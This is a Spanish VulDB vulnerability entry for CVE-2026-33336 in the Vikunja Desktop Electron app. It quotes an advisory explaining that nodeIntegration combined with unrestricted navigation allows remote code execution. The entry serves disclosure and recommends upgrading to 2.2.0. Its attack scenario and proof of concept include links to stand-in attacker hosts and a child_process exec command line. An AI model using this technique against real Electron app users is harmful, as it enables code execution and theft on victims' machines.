| CVSS Puntuación meta temporal | Precio actual del exploit (≈) | Puntuación de interés CTI |
|---|---|---|
| 7.4 | $0-$5k | 0.00 |
Resumen
Una vulnerabilidad fue encontrada en go-vikunja vikunja hasta 2.1.x y clasificada como crítica. Se ve afectada una función desconocida. La manipulación conduce a escalada de privilegios. Esta vulnerabilidad se registra como CVE-2026-33336. El ataque se puede efectuar a través de la red. Ningún exploit está disponible. Se sugiere actualizar el componente afectado.
Detalles
Una vulnerabilidad ha sido encontrada en go-vikunja vikunja hasta 2.1.x y clasificada como crítica. Una función desconocida es afectada por esta vulnerabilidad. Por la manipulación de un input desconocido se causa una vulnerabilidad de clase escalada de privilegios. Esto tiene repercusión sobre la confidencialidad, integridad y disponibilidad. CVE resume:
Vikunja es una plataforma de gestión de tareas de código abierto y autoalojada. Desde la versión 0.21.0 hasta la versión 2.2.0, el envoltorio Electron de Vikunja Desktop habilita `nodeIntegration` en la ventana principal del navegador (BrowserWindow) y no restringe las navegaciones dentro de la misma ventana. Un atacante que pueda colocar un enlace en contenido generado por el usuario (descripciones de tareas, comentarios, descripciones de proyectos) puede hacer que BrowserWindow navegue a un origen controlado por el atacante, donde JavaScript se ejecuta con acceso completo a Node.js, lo que da lugar a la ejecución de código arbitrario en el equipo de la víctima. La versión 2.2.0 corrige el problema. ## Causa raíz Dos errores de configuración se combinan para crear esta vulnerabilidad: 1. **`nodeIntegration: true`** está establecido en las preferencias web de `BrowserWindow` (`desktop/main.js:14-16`), lo que otorga a cualquier página cargada en el renderizador acceso completo a las API de Node.js (`require`, `child_process`, `fs`, etc.). 2. **No hay ningún controlador `will-navigate` o `will-redirect`** registrado en `webContents`. El `setWindowOpenHandler` existente (`desktop/main.js:19-23`) solo intercepta las llamadas a `window.open()` (solicitudes de nuevas ventanas). **No** intercepta las navegaciones dentro de la misma ventana provocadas por: - Enlaces `<a href="https://..." rel="nofollow">` (sin `target=«_blank»`) - Asignaciones de `window.location` - Redireccionamientos HTTP - Etiquetas `` ## Escenario de ataque 1. El atacante es un usuario normal en la misma instancia de Vikunja (por ejemplo, un miembro de un proyecto compartido). 2. El atacante crea o edita la descripción de un proyecto o de una tarea que contiene un enlace HTML estándar, por ejemplo: `</a><a href="https://evil.example/exploit" rel="nofollow">Haga clic aquí para ver las especificaciones de diseño actualizadas</a>` 3. La interfaz de Vikunja muestra este enlace. El proceso de sanitización de DOMPurify lo permite correctamente, ya que se trata de una etiqueta de anclaje legítima y no de una inyección de código. Ejemplo de ruta de renderizado: `frontend/src/views/project/ProjectInfo.vue` utiliza `v-html` con salida sanitizada por DOMPurify. 4. La víctima utiliza Vikunja Desktop y hace clic en el enlace. 5. Como no existe ningún controlador `will-navigate`, BrowserWindow navega a `https://evil.example/exploit` en el mismo proceso de renderizado. 6. La página del atacante se ejecuta ahora en un contexto con `nodeIntegration: true` y ejecuta: `require(“child_process”).exec(“id > /tmp/pwned”);` 7. Se ejecutan comandos arbitrarios como usuario del sistema operativo de la víctima. ## Impacto Ejecución remota completa de código en el escritorio de la víctima. El atacante puede leer/escribir archivos arbitrarios, ejecutar comandos arbitrarios, instalar malware o puertas traseras, y sustraer credenciales y datos confidenciales. No se requiere ninguna vulnerabilidad XSS: basta con un hipervínculo normal aprobado por el sanitizador. ## Prueba de concepto 1. Configura una instancia de Vikunja con dos usuarios que compartan un proyecto. 2. Como usuario atacante, edita la descripción del proyecto para incluir: `<a href="https://attacker.example/poc.html" rel="nofollow">Notas de la reunión</a>` 3. Aloja el archivo poc.html con: `` 4. Como víctima, abre el proyecto en Vikunja Desktop y haz clic en el enlace. 5. Se ejecuta calc.exe (o cualquier otro comando) en el equipo de la víctima. ## Créditos Esta vulnerabilidad se detectó utilizando [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).El advisory puede ser descargado de github.com. La vulnerabilidad es identificada como CVE-2026-33336. Es fácil de explotar. El ataque puede ser realizado a través de la red. La explotación no requiere ninguna forma de autentificación. No se conoce los detalles técnicos ni hay ningún exploit disponible.
Una actualización a la versión 2.2.0 elimina esta vulnerabilidad. La actualización se puede descargar de vikunja.io.
If you want to get best quality of vulnerability data, you may have to visit VulDB.
Producto
Proveedor
Nombre
Versión
Sitio web
- Producto: https://github.com/go-vikunja/vikunja/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔒VulDB Confiabilidad: 🔍
CNA CVSS-B Score: 🔒
CNA CVSS-BT Score: 🔒
CNA Vector: 🔒
CVSSv3
VulDB Puntuación meta base: 7.6VulDB Puntuación meta temporal: 7.4
VulDB Puntuación base: 6.3
VulDB Puntuación temporal: 6.0
VulDB Vector: 🔒
VulDB Confiabilidad: 🔍
NVD Puntuación base: 8.8
NVD Vector: 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complejidad | Autenticación | Confidencialidad | Integridad | Disponibilidad |
|---|---|---|---|---|---|
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
| Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
VulDB Puntuación base: 🔒
VulDB Puntuación temporal: 🔒
VulDB Confiabilidad: 🔍
Explotación
Clase: Escalada de privilegiosCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒
Físico: No
Local: No
Remoto: Sí
Disponibilidad: 🔒
Estado: No está definido
EPSS Score: 🔒
EPSS Percentile: 🔒
Predicción de precios: 🔍
Estimación del precio actual: 🔒
| 0-Day | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
|---|---|---|---|---|
| Hoy | Desbloquear | Desbloquear | Desbloquear | Desbloquear |
Inteligencia de amenazas
Interés: 🔍Actores activos: 🔍
Grupos APT activos: 🔍
Contramedidas
Recomendación: ActualizaciónEstado: 🔍
Hora de 0 días: 🔒
Actualización: vikunja 2.2.0
Línea de tiempo
2026-03-18 CVE asignado2026-03-24 Aviso publicado
2026-03-24 Entrada de VulDB creada
2026-03-28 Última actualización de VulDB
Fuentes
Producto: github.comAviso: GHSA-83w9-9jf6-88vf
Estado: Confirmado
CVE: CVE-2026-33336 (🔒)
GCVE (CVE): GCVE-0-2026-33336
GCVE (VulDB): GCVE-100-352802
Artículo
Fecha de creación: 2026-03-24 17:29Actualizado: 2026-03-28 22:32
Cambios: 2026-03-24 17:29 (68), 2026-03-28 22:32 (13)
Completo: 🔍
Cache ID: 216::103
If you want to get best quality of vulnerability data, you may have to visit VulDB.
Sin comentarios aún. Idiomas: es + pt + en.
Por favor, inicie sesión para comentar.